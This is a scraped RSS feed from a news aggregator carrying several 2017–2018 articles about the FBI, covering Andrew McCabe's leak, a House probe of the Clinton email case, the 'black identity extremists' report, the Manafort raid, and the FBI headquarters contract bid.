]]> https://briefnews.eu/michael-cohens-taxi-businesses-that-were-used-as-collateral-for-a-bank-loan-are-reportedly-on-the-fbis-radar/feed/ 0 Damning report to expose FBI’s Andrew McCabe leaking and misleading watchdog https://briefnews.eu/damning-report-to-expose-fbis-andrew-mccabe-leaking-and-misleading-watchdog/ https://briefnews.eu/damning-report-to-expose-fbis-andrew-mccabe-leaking-and-misleading-watchdog/#respond Fri, 02 Mar 2018 22:26:31 +0000 http://briefnews.eu/damning-report-to-expose-fbis-andrew-mccabe-leaking-and-misleading-watchdog/ Andrew McCabe, the former number two at the FBI, leaked information about Clinton’s emails probe to the press and later misled watchdog investigators, according to a Justice Department review due to be released next month.  

McCabe authorized the leak to the Wall Street Journal for a story about an ongoing investigation into the Clinton Foundation scandal in 2016, according to The New York Times and the Washington Post, who cited several sources familiar with the upcoming report. McCabe also misled the DOJ watchdog investigators about his improper media disclosure.

McCabe stepped down from his position as the FBI Deputy Director in January, amid concerns over a review by Justice Department Inspector General Michael Horowitz.

Read more

Andrew McCabe © Aaron P. Bernstein

The report is part of Horowitz’s review on how the FBI and Justice Department handled the investigation into Hillary Clinton’s use of a private email server while she was serving as secretary of state. The Justice Department is investigating why McCabe took three weeks to act on a request to examine Clinton’s emails, which were discovered during the 2016 US presidential election. The Wall Street Journal revealed a dispute between the FBI and the Justice Department over how to address the probe into the financial dealings of the Clinton Foundation.

McCabe became acting director of the FBI in May 2017, following President Donald Trump’s removal of then-FBI Director James Comey. McCabe is closely connected to Democrats through his wife Jill, who ran for state office in Virginia in 2015 and received $ 500,000 from the super PAC of Terry McAuliffe, a Clinton ally and former governor of Virginia. She lost by 2,000 votes.

McCabe became involved in the Clinton email probe in February 2016.

Trump has been highly critical of McCabe, believing he has pushed anti-Trump bias in the upper echelons of federal law enforcement.  

It was later revealed that McCabe’s former senior adviser, Lisa Page, exchanged anti-Trump and pro-Clinton text messages with Peter Strzok, a senior FBI agent, while they were involved in ongoing investigations of Clinton and Trump. 

Comey also has a reputation for leaking classified materials. After Trump fired him in May 2017, Comey leaked the contents of his memos to the press through a friend.

The disclosures come at a particularly unfortunate time for the FBI. The agency has been embroiled in even more controversy after the House Intelligence Committee released a Republican memo purportedly showing that the FBI committed surveillance abuses in 2016. The memo alleges that a dossier, paid for by the Clinton campaign, formed the basis of the FISA warrant obtained by the FBI to spy on Trump’s former campaign adviser Carter Page.

In December 2017, McCabe was questioned by the House Intelligence Committee regarding possible collusion between Trump and Russia. Fox News sources said that McCabe told the panel that the FBI worked assiduously to verify the contents of the Trump dossier and the agency stood by it.

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]]> https://briefnews.eu/damning-report-to-expose-fbis-andrew-mccabe-leaking-and-misleading-watchdog/feed/ 0 Congress opens probe into FBI’s handling of Clinton e-mail investigation https://briefnews.eu/congress-opens-probe-into-fbis-handling-of-clinton-e-mail-investigation/ https://briefnews.eu/congress-opens-probe-into-fbis-handling-of-clinton-e-mail-investigation/#respond Tue, 24 Oct 2017 19:43:49 +0000 http://briefnews.eu/congress-opens-probe-into-fbis-handling-of-clinton-e-mail-investigation/

Enlarge (credit: Mark Wilson/Getty Images)

Two House committees announced Tuesday that they would conduct a joint probe into the FBI’s handling of the Clinton e-mail investigation. The Clinton investigation concluded with no charges being levied against the former secretary of state who was running for president under the Democratic ticket.

House Oversight and Government Reform Committee Chairman Trey Gowdy (R-S.C.) and House Judiciary Committee Chairman Bob Goodlatte (R-Va.) said in a joint statement that they are unsatisfied with how the probe into Clinton’s private e-mail server concluded. Among other things, the chairmen want to know why the bureau publicly said it was investigating Clinton while keeping silent that it was looking into President Donald Trump’s campaign associates and their connections to Russia.

“Our justice system is represented by a blind-folded woman holding a set of scales. Those scales do not tip to the right or the left; they do not recognize wealth, power, or social status,” Goodlatte and Gowdy said in a joint statement. “The impartiality of our justice system is the bedrock of our republic, and our fellow citizens must have confidence in its objectivity, independence, and evenhandedness. The law is the most equalizing force in this country. No entity or individual is exempt from oversight.”

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Ars Technica

]]> https://briefnews.eu/congress-opens-probe-into-fbis-handling-of-clinton-e-mail-investigation/feed/ 0 The FBI’s new terrorist threat is ‘black identity extremists’ — critics say no such movement exists https://briefnews.eu/the-fbis-new-terrorist-threat-is-black-identity-extremists-critics-say-no-such-movement-exists/ https://briefnews.eu/the-fbis-new-terrorist-threat-is-black-identity-extremists-critics-say-no-such-movement-exists/#respond Sun, 08 Oct 2017 07:03:49 +0000 http://briefnews.eu/the-fbis-new-terrorist-threat-is-black-identity-extremists-critics-say-no-such-movement-exists/ White nationalists carry torches on the grounds of the University of Virginia, on the eve of a planned Unite The Right rally in Charlottesville, Virginia, U.S. August 11, 2017. Alvarez/News2Share via REUTERSThomson Reuters

As white supremacists prepared to descend on Charlottesville, Virginia, in August, the FBI warned about a new movement that was violent, growing, and racially motivated. Only it wasn’t white supremacists; it was “black identity extremists.”

Amid a rancorous debate over whether the Trump administration has downplayed the threat posed by white supremacist groups, the FBI’s counterterrorism division has declared that black identity extremists pose a growing threat of premeditated violence against law enforcement.

“The FBI assesses it is very likely Black Identity Extremist (BIE) perceptions of police brutality against African Americans spurred an increase in premeditated, retaliatory lethal violence against law enforcement and will very likely serve as justification for such violence,” reads the report, marked for official use only and obtained by Foreign Policy.

The August 2014 shooting of Michael Brown in Ferguson, Missouri, was the catalyst for widespread anger and violence, the FBI report says, concluding that continued “alleged” police abuses have fueled more violence.

“The FBI assesses it is very likely incidents of alleged police abuse against African Americans since then have continued to feed the resurgence in ideologically motivated, violent criminal activity within the BIE movement,” the report states.

Some 748 people have been shot and killed by police so far in 2017, including at least 168 African-Americans.

The report, dated Aug. 3 — just nine days before the white supremacist rally in Charlottesville turned deadly — appears to be the first known reference to “black identity extremists” as a movement. But former government officials and legal experts said no such movement exists, and some expressed concern that the term is part of a politically motivated effort to find an equivalent threat to white supremacists.

A former senior counterterrorism and intelligence official from the Department of Homeland Security who reviewed the document at FP’s request expressed shock at the language.

“This is a new umbrella designation that has no basis,” the former official said. “There are civil rights and privacy issues all over this.”

The concept of “black identity extremists” appears to be entirely new. FP found only five references to the term in a Google search; all were to law enforcement documents about domestic terrorism from the last two months. One of those online references is to law enforcement training on identifying “domestic terror groups and criminally subversive subcultures which are encountered by law enforcement professionals on a daily basis.”

Among the six acts of premeditated violence linked to black identity extremists — it excludes violence toward police carried out in the normal course of their duties — the reports cites the July 2016 shooting of 11 police officers in Dallas. The shooter, Micah Johnson, was reportedly angry at police violence.

Micah Xavier JohnsonScreenshot via VICE News“Based on Johnson’s journal writings and statements to police, he appeared to have been influenced by BIE ideology,” the FBI report states. The attack took place during a Black Lives Matter protest of police shootings, though the BLM movement is not mentioned by name in the report.

Yet those involved in the Black Lives Matter movement have voiced concerns about FBI surveillance.

DeRay McKesson, an activist involved in the Black Lives Matter movement, told FP that the FBI visited his house in the run-up to the Republican National Convention. “I spoke about the FBI visit to my house and the houses of other activists in our final meeting with [President Barack] Obama,” he said.

“There is a long tradition of the FBI targeting black activists and this is not surprising,” McKesson said.

The FBI declined to comment on the report itself and did not respond to specific questions, but in an emailed statement to FP, the bureau defended its tracking of “black identity extremists,” saying that “the FBI cannot initiate an investigation based solely on an individual’s race, ethnicity, national origin, religion, or the exercise of First Amendment rights.”

In its August report, the FBI said it expects further attacks by black identity extremists, driven by both the perception and the reality of unfair treatment at the hands of police officers.

“The FBI further assesses it is very likely additional controversial police shootings of African Americans and the associated legal proceedings will continue to serve as drivers for violence against law enforcement,” the report says.

Some experts and former government officials said the FBI seemed to be trying to paint disparate groups and individuals as sharing a radical, defined ideology. And in the phrase “black identity extremist” they hear echoes of the FBI’s decades-long targeting of black activists as potential radicals, a legacy that only recently began to change.

“They are grouping together Black Panthers, black nationalists, and Washitaw Nation,” said the former homeland security official. “Imagine lumping together white nationals, white supremacists, militias, neo-Nazis, and calling it ‘white identity extremists.'”

FILE PHOTO: Members of the Ku Klux Klan face counter-protesters as they rally in support of Confederate monuments in Charlottesville, Virginia, U.S. on July 8, 2017. REUTERS/Jonathan Ernst/File PhotoThomson Reuters

The FBI is linking the people discussed in the report based only on them being black, rather than on any sort of larger ideological connection, the official said.

“The race card is being played here deliberately.”

Michael German, a former FBI agent and now a fellow with the Brennan Center for Justice’s liberty and national security program, said manufacturing this type of threat was not new. He has criticized earlier FBI reports on “black separatists,” arguing that they conflated radical groups operating in the 1970s with attacks in 2010 and later, even though there was no obvious connection.

The use of terms like “black identity extremists” is part of a long-standing FBI attempt to define a movement where none exists. “Basically, it’s black people who scare them,” German said.

Even former officials who view the government’s concerns about black separatists as legitimate balked at the term “black identity extremist,” and point out that the threat from individuals or groups who want to establish their own homeland is much less than from the far right.

In 2009, Daryl Johnson, then a Department of Homeland Security intelligence analyst, warned of the rise of right-wing extremism, setting off a firestorm among congressional critics. Johnson, who left the department in 2010, said he could think of no reason why the FBI would create a new category for so-called black identity extremists. “I’m at a loss,” he replied, when asked about the term.

“I have no idea of why they would come up with a new term.”

There have been concerns about rising violence among black separatist groups in recent years, he said, but it does not approach the threat of right-wing extremism. “When talking about white supremacists versus black supremacists, there are way more white supremacists,” Johnson said.

For historians and academics who have looked at the history of FBI surveillance of black Americans, the report also smacks of the sort of blatant racism the bureau has worked hard to leave behind. From the time J. Edgar Hoover took over the anti-radical division in the FBI at the height of the first “red scare” in 1919, the bureau began systematically surveilling black activists.

“Black protests get conflated for the bureau [with communism], and it begins there,” said William Maxwell, a professor at Washington University in St. Louis, who has researched the FBI’s monitoring of black writers in the 20th century.

What followed, according to Maxwell, was decades of FBI pursuit of black radicals in the belief, often mistaken, that they were part of a larger subversive movement. “It’s deep in the bureau’s DNA,” he said.

Lately, that seemed to be changing. As FBI director, James Comey famously kept a copy of the Martin Luther King Jr. wiretap order on his desk as a reminder of the bureau’s past abuses and made new agents learn the history of the FBI’s pursuit of the civil rights leader.

The FBI also appeared to be focusing more attention on the threat of white supremacists. In May, the FBI warned that white supremacist violence was growing, according to a report obtained and published by FP. That same report noted that white supremacists were responsible for more attacks in the United States than any other extremist group, including Islamic extremists.

Critics, however, accuse President Donald Trump of shifting attention away from right-wing violence. This year, the Trump administration decided to focus the Department of Homeland Security’s “countering violent extremism” program on Islamic terrorism and deprioritized funding to counter white supremacist groups.

“To hear there is a new initiative targeting black identity extremists is surprising given that shift,” said Alvaro Bedoya, the executive director of the Center on Privacy & Technology at Georgetown Law.

Maxwell, the Washington University professor, had an even darker view. “It’s classic Hoover-style labeling with little bit of maliciousness and euphemism wrapped up together,” he said.

“The language — black identity extremist — strikes me as weird and really a continuation of the worst of Hoover’s past.”

J. Edgar Hoover FBIAP

In a sense, the FBI’s desire to identify a unifying ideological underpinning to what are often individual violent acts is not surprising, said David Garrow, a historian who wrote a Pulitzer Prize-winning biography of MLK. “Security agencies want to perceive a threat that is political, a threat that ideological,” Garrow said, “but what we’re actually witnessing is men, almost entirely men, acting out in violent criminal ways and grasping at some chimera of political justification.”

But the document itself smacks of incompetence more than conspiracy, according to Garrow, who reviewed a copy of the report provided by FP. “The immediate instinct is to think [the FBI] are a threat,” he said. “My immediate instinct is to wonder whether they are minimally competent.”

Garrow, who has reviewed decades’ worth of FBI documents for his work, warned against seeing this report as proof that the FBI is illegally targeting black Americans.

“They are often so clueless,” he said of the FBI. “I don’t find them a threat.”

But the former homeland security official said the report’s tendency to lump together different groups that have no obvious connection will make it harder for law enforcement to identify real threats. “It’s so convoluted — it’s compromising officer safety,” the former official said.

And even though the report mentions in a footnote that “political activism” and “strong rhetoric” by themselves don’t amount to extremism and “may be constitutionally protected,” it identifies anger with police or “anti-white rhetoric” as indicators of a potential “violent threat.”

“Just the term ‘black identity extremist’ is protected,” the former official said. “You can identify all you want.”

The FBI, however, defended the classification in its statement to FP.

“Domestic terrorism groups differ from traditional criminal groups in that they take action for a different purpose, to bring attention to a social or political cause,” the FBI wrote. “Therefore, their existence as a group has a legitimate purpose, at least in part. Their legitimate activity may include acts of protest, advocacy, and civil disobedience.”

The FBI says there are “nine persistent extremist movements” in the United States at present. Those include “white supremacy, black identities, militia, sovereign citizens, anarchists, abortion, animal rights, environmental rights, and Puerto Rican Nationalism.”

NOW WATCH: An Alabama high school ‘resegregated’ after years of being a model of integration — here’s what happened after

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]]> https://briefnews.eu/the-fbis-new-terrorist-threat-is-black-identity-extremists-critics-say-no-such-movement-exists/feed/ 0 Former prosecutors: The FBI’s raid of Paul Manafort’s home was a clear sign they don’t trust him https://briefnews.eu/former-prosecutors-the-fbis-raid-of-paul-manaforts-home-was-a-clear-sign-they-dont-trust-him/ https://briefnews.eu/former-prosecutors-the-fbis-raid-of-paul-manaforts-home-was-a-clear-sign-they-dont-trust-him/#respond Wed, 09 Aug 2017 18:39:15 +0000 http://briefnews.eu/former-prosecutors-the-fbis-raid-of-paul-manaforts-home-was-a-clear-sign-they-dont-trust-him/ Paul ManafortAP Photo/Matt Rourke

  • The FBI’s predawn raid of the home of Paul Manafort, the former Trump campaign chair, has opened up a new front in the Russia probe.
  • Experts say the raid, instead of issuing subpoenas, could be a signal the FBI doesn’t trust Manafort.
  • It could also be part of a larger psychological strategy.

The FBI conducted a predawn July raid on the home of President Donald Trump’s former campaign chairman, Paul Manafort, as part of its ongoing investigation into possible collusion between the Trump campaign and Russia, The Washington Post reported Wednesday.

But why didn’t the bureau simply issue subpoenas to Manafort — who has been cooperating with the investigation into possible collusion between the Trump campaign and Russia during the election — for the documents it was seeking?

Former Department of Justice officials, FBI agents, and federal prosecutors say there are a couple reasons, including the need to move quickly and avoid any Fifth Amendment objections. But they said the most likely reason the FBI sought, and was granted, the “no-knock warrant” is that federal officials didn’t think Manafort could be trusted.

“Mueller and his staff may have decided that, despite the claims of cooperation from Manafort’s lawyer, Manafort could not be trusted to provide all of the documents requested by subpoena,” wrote Alex Whitting, who served for a decade as a federal prosecutor at the Department of Justice and the US Attorney’s office in Boston.

“If Mueller’s team thought that there was any risk that Manafort would hide or destroy documents, that would be a strong reason to proceed with a search warrant,” he added.

Kenneth Julian, a partner at Manatt, Phelps & Phillips who served for more than 11 years as a federal prosecutor in California, echoed Whitting’s sentiments.

“The only reason to do a search warrant on a target who is ostensibly cooperating with the investigation is a lack of trust,” he said. “And in order to get a search warrant, FBI agents had to swear to their belief that fruits of a crime would be found in Manafort’s home.”

The New York Times reported that investigators were looking for tax documents and foreign banking records, documents “typically sought when investigating violations of Bank Secrecy Act,” Times reporter Adam Goldman noted.

The Bank Secrecy Act was passed “to deter and detect money laundering, terrorist financing and other criminal acts and the misuse of our nation’s financial institutions,” according to the Treasury Department. 

Manafort has insisted that he has never received any illicit cash payments from the pro-Russia political party he advised for nearly a decade in Ukraine. The New York Times reported last August that the party had designated him $ 12.7 million in undisclosed cash payments. 

But Manafort has a “pattern” of using shell companies to purchase homes “in all-cash deals,” as WNYC has reported, and then transferring those properties into his own name for no money and taking out large mortgages against them. 

Kellyanne Conway Paul ManafortREUTERS/Carlo Allegri

“Manafort’s representatives have been insisting for months that he is cooperating with these investigations, and if you are really cooperating, DOJ typically doesn’t need to raid your house — they’ll trust you to respond fully to a subpoena,” said Matthew Miller, a former Justice Department spokesman under President Barack Obama.

“The fact they cut any cooperation short and raided his house suggests they don’t believe he is fully cooperating and that there are documents or electronic files, possibly contained on computers at his house, in his possession that they did not trust him to turn over,” Miller added.

Former FBI special agent Asha Rangappa wrote on Twitter that, in obtaining a warrant, the FBI likely convinced a judge that there was probable cause a crime had been committed — and “that there was some risk that Manafort may try to remove or conceal evidence despite cooperation.”

Rangappa said that when she was at the FBI, predawn raids were often conducted at 5 a.m. “to catch targets unaware, so they cannot destroy or remove evidence.” She added that anything the government finds “can be used to leverage Manafort,” especially if it shows that he misled or lied to the government or Congress.

Still, there are other reasons why the FBI would have felt compelled to seek a warrant for this kind of raid instead of just issuing a subpoena.

Mueller, the special counsel, may have needed the documents quickly “for purposes of witness interviews,” Whitting wrote. “And so may have decided that using a search warrant would be more expeditious.”

Conducting a raid also leaves targets unable to invoke their Fifth Amendment rights against self-incrimination. While recipients of grand jury subpoenas normally can’t invoke those rights, Manafort’s lawyers may have argued an exception on the grounds that such a subpoena might require testimony “which could be self-incriminating,” Whitting wrote.

The raid could have been part of a larger psychological strategy, too.

Mueller “may have wanted to get Manafort’s attention to emphasize the seriousness and advancing nature of the investigation, all with the hope of securing his cooperation,” Whitting said.

Jack Sharman, a white-collar lawyer in Birmingham, Alabama, and former special counsel to the House Banking Committee for the Whitewater investigation of President Bill Clinton, said the warrant was “designed to send a message.”

“Manafort has reportedly been cooperating with congressional investigators about documents,” he said. “But one purpose of such a raid is to bring home to the target the fact that the federal prosecution team is moving forward and is not going to defer to or rely on Congress.”

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]]> https://briefnews.eu/former-prosecutors-the-fbis-raid-of-paul-manaforts-home-was-a-clear-sign-they-dont-trust-him/feed/ 0 A Trump-Kushner business partner is in the running for a $1.7 billion contract to build the FBI’s new headquarters https://briefnews.eu/a-trump-kushner-business-partner-is-in-the-running-for-a-1-7-billion-contract-to-build-the-fbis-new-headquarters/ https://briefnews.eu/a-trump-kushner-business-partner-is-in-the-running-for-a-1-7-billion-contract-to-build-the-fbis-new-headquarters/#respond Wed, 14 Jun 2017 02:51:31 +0000 http://briefnews.eu/a-trump-kushner-business-partner-is-in-the-running-for-a-1-7-billion-contract-to-build-the-fbis-new-headquarters/ fbi headquartersWikimedia Commons

NEW YORK (AP) — A company that owns buildings with Donald Trump and the family of Jared Kushner is a finalist for a $ 1.7 billion contract to build the FBI’s new headquarters.

Vornado Realty Trust is one of three finalists to build a replacement for the bureau’s current headquarters on Pennsylvania Avenue in Washington D.C., the massive J. Edgar Hoover Building, according to Garth Beall, manager of Renard Development.

Renard is hoping the federal agency running the bidding process, the General Services Administration, will choose a Renard site in Greenbelt, Maryland, for the new headquarters.

Vornado is a partial owner with the Trump Organization in two buildings, one each in New York and San Francisco. It is also a major investor in 666 Fifth Ave., the flagship skyscraper of the Kushner Cos.

Virginia Congressman Gerald Connolly said the White House ties to Vornado create a conflict of interest.

Since Trump hasn’t divested from his company, “that shifts the ethical burden to his business partners,” Connolly said. “We’re in a position where once again he shrugged off his responsibilities and sloughed it off to someone else.”

Connolly, who represents an area in Virginia vying for the new headquarters, called on Vornado to drop out of the bidding.

The choice of Vornado as a finalist was earlier reported by ABC News.

Requests for comment from Vornado, and its partner in the FBI bid, JBG Cos., were not immediately returned. A spokesman for the General Services Administration said the agency doesn’t comment on projects in “active procurement.”

“Jared takes the ethics rules very seriously and would never compromise himself or the administration,” the White House said in a statement. There was no immediate response from the White House about the president’s potential conflicts stemming from the FBI building bid.

Kushner, Trump’s son-in-law and senior adviser to the president, sold his personal interest in 666 Fifth Ave. earlier this year.

The Kushner Cos. declined to comment.

Vornado is run by Steven Roth, who has been advising Donald Trump on his plans to revamp the nation’s infrastructure. He also is consulting with the White House Office of American Innovation, which is being led by Kushner.

Steven Schooner, a professor of government procurement law at George Washington University, said the relationship between Vornado and the White House makes any government deal with the real estate company suspect.

“This would absolutely pose an apparent, and, potentially, an actual conflict of interest,” Schooner said in an email. “I cannot imagine any modern-era precedent for the president (and his advisor and son-in-law) not recognizing that this is a problem and shutting this down before it gets any worse.”

Renard’s Beall indicated he isn’t as worried. He said the bidding process is unlikely to be tainted.

“Typically the president doesn’t get involved in GSA solicitations,” he said. “It’s pretty easy for the president to recuse himself.”

kushner steven rothAndrew Harnik/AP

Vornado is a partial owner with the Trump Organization in 1290 Sixth Avenue in Manhattan and 555 California St. in San Francisco.

The Kushner building owned with Vornado, 666 Fifth Ave., has been at the center of a conflicts of interest debate before. A Chinese insurer considering investing in the skyscraper had to pull out of negotiations with the Kushners after news reports highlighted the insurer’s close ties to the Beijing government.

The skyscraper was bought by the Kushner Cos. for record $ 1.8 billion before the 2008 financial crisis, and soon ran into financial trouble. Vornado came to the rescue a few years later, buying a big stake in the building at a discount.

The GSA ruled in March that the Trump Organization can keep using a government-owned building in Washington for its new hotel, the Trump International Hotel, a favorite of diplomats and lobbyists. That decision drew criticism from good-government groups and Democrats. They note the contract the president’s company signed forbids government officials from being a party to or benefiting from the building.

The GSA said Trump was in “full compliance” because profits from the hotel won’t go directly to Trump while he’s president.

The agency has said the winning bidder for the FBI building will have to construct in one of three locations in the Washington, D.C., area. The bidder will also get to take over the old FBI headquarters building to convert to other uses.

___

AP reporter Matthew Barakat contributed from McLean, Virginia.

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